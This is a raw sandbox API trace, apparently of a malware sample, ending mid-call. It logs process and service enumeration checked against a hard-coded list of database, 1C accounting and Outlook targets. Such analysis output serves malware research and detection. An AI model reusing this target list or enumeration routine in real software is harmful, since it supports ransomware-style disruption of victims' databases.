lstrlenW (lpString="PlugPlay") returned 8 [0174.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0174.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0174.171] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0174.171] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0174.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0174.171] lstrlenW (lpString="Power") returned 5 [0174.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0174.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0174.171] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0174.171] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0174.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0174.171] lstrlenW (lpString="ProfSvc") returned 7 [0174.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0174.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0174.171] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0174.171] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0174.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0174.171] lstrlenW (lpString="RpcEptMapper") returned 12 [0174.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0174.171] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0174.171] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0174.171] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0174.171] lstrlenW (lpString="RpcSs") returned 5 [0174.171] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0174.171] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0174.172] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0174.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0174.172] lstrlenW (lpString="SamSs") returned 5 [0174.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0174.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0174.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0174.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0174.172] lstrlenW (lpString="Schedule") returned 8 [0174.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0174.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0174.172] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0174.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0174.172] lstrlenW (lpString="SENS") returned 4 [0174.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0174.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0174.172] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0174.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0174.172] lstrlenW (lpString="ShellHWDetection") returned 16 [0174.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0174.172] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0174.172] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0174.172] lstrlenW (lpString="Spooler") returned 7 [0174.172] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0174.172] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0174.172] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0174.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0174.173] lstrlenW (lpString="SysMain") returned 7 [0174.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0174.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0174.173] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0174.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0174.173] lstrlenW (lpString="Themes") returned 6 [0174.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0174.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0174.173] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0174.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0174.173] lstrlenW (lpString="TrkWks") returned 6 [0174.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0174.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0174.173] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0174.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0174.173] lstrlenW (lpString="UxSms") returned 5 [0174.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0174.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0174.173] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0174.173] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0174.173] lstrlenW (lpString="WdiServiceHost") returned 14 [0174.173] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.173] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0174.173] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0174.173] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0174.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0174.174] lstrlenW (lpString="WdiSystemHost") returned 13 [0174.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0174.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0174.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0174.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0174.174] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0174.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0174.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0174.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0174.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0174.174] lstrlenW (lpString="Winmgmt") returned 7 [0174.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0174.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0174.174] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0174.174] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0174.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0174.174] lstrlenW (lpString="WPDBusEnum") returned 10 [0174.174] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.174] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0174.174] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0174.174] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0174.174] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0174.174] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x724190 | out: hHeap=0x630000) returned 1 [0174.174] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1ac [0174.176] Process32FirstW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0174.177] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0174.177] lstrlenW (lpString="System") returned 6 [0174.177] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0174.177] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0174.177] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0174.177] lstrlenW (lpString="smss.exe") returned 8 [0174.177] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0174.177] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0174.177] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0174.177] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0174.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0174.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0174.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0174.178] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.178] lstrlenW (lpString="csrss.exe") returned 9 [0174.178] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.178] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.178] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.178] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.178] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.178] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.178] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0174.178] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0174.178] lstrlenW (lpString="wininit.exe") returned 11 [0174.178] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0174.179] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0174.179] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0174.179] lstrlenW (lpString="csrss.exe") returned 9 [0174.179] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0174.179] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0174.179] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0174.179] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0174.179] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0174.179] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0174.179] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0174.180] lstrlenW (lpString="winlogon.exe") returned 12 [0174.180] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0174.180] lstrlenW (lpString="services.exe") returned 12 [0174.180] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0174.180] lstrlenW (lpString="lsass.exe") returned 9 [0174.180] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0174.181] lstrlenW (lpString="lsm.exe") returned 7 [0174.181] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.181] lstrlenW (lpString="svchost.exe") returned 11 [0174.181] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.182] lstrlenW (lpString="svchost.exe") returned 11 [0174.182] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.182] lstrlenW (lpString="svchost.exe") returned 11 [0174.182] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.182] lstrlenW (lpString="svchost.exe") returned 11 [0174.182] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.183] lstrlenW (lpString="svchost.exe") returned 11 [0174.183] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0174.183] lstrlenW (lpString="audiodg.exe") returned 11 [0174.183] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.183] lstrlenW (lpString="svchost.exe") returned 11 [0174.183] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0174.184] lstrlenW (lpString="explorer.exe") returned 12 [0174.184] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0174.184] lstrlenW (lpString="dwm.exe") returned 7 [0174.184] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.184] lstrlenW (lpString="svchost.exe") returned 11 [0174.184] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.185] lstrlenW (lpString="n.exe") returned 5 [0174.185] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0174.185] lstrlenW (lpString="spoolsv.exe") returned 11 [0174.185] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0174.185] lstrlenW (lpString="svchost.exe") returned 11 [0174.185] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0174.186] lstrlenW (lpString="taskhost.exe") returned 12 [0174.186] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0174.186] lstrlenW (lpString="reader_sl.exe") returned 13 [0174.186] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x4f8, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.187] lstrlenW (lpString="n.exe") returned 5 [0174.187] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0174.187] lstrlenW (lpString="n.exe") returned 5 [0174.187] Process32NextW (in: hSnapshot=0x1ac, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x6dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 0 [0174.188] CloseHandle (hObject=0x1ac) returned 1 [0174.188] Sleep (dwMilliseconds=0x1f4) [0174.817] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x69e710 [0174.817] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 0 [0174.817] GetLastError () returned 0xea [0174.817] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x11e4) returned 0x724190 [0174.818] EnumServicesStatusExW (in: hSCManager=0x69e710, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x724190, cbBufSize=0x11e4, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x724190, pcbBytesNeeded=0x1f4ff44, lpServicesReturned=0x1f4ff5c, lpResumeHandle=0x0) returned 1 [0174.818] CloseServiceHandle (hSCObject=0x69e710) returned 1 [0174.818] lstrlenW (lpString="Appinfo") returned 7 [0174.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0174.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0174.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0174.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0174.819] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0174.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0174.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0174.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0174.819] lstrlenW (lpString="AudioSrv") returned 8 [0174.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0174.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0174.819] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0174.819] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0174.819] lstrlenW (lpString="BFE") returned 3 [0174.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0174.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0174.819] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0174.819] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0174.819] lstrlenW (lpString="CryptSvc") returned 8 [0174.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0174.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0174.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0174.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0174.819] lstrlenW (lpString="CscService") returned 10 [0174.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0174.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0174.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0174.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0174.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0174.820] lstrlenW (lpString="DcomLaunch") returned 10 [0174.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0174.820] lstrcmpiW 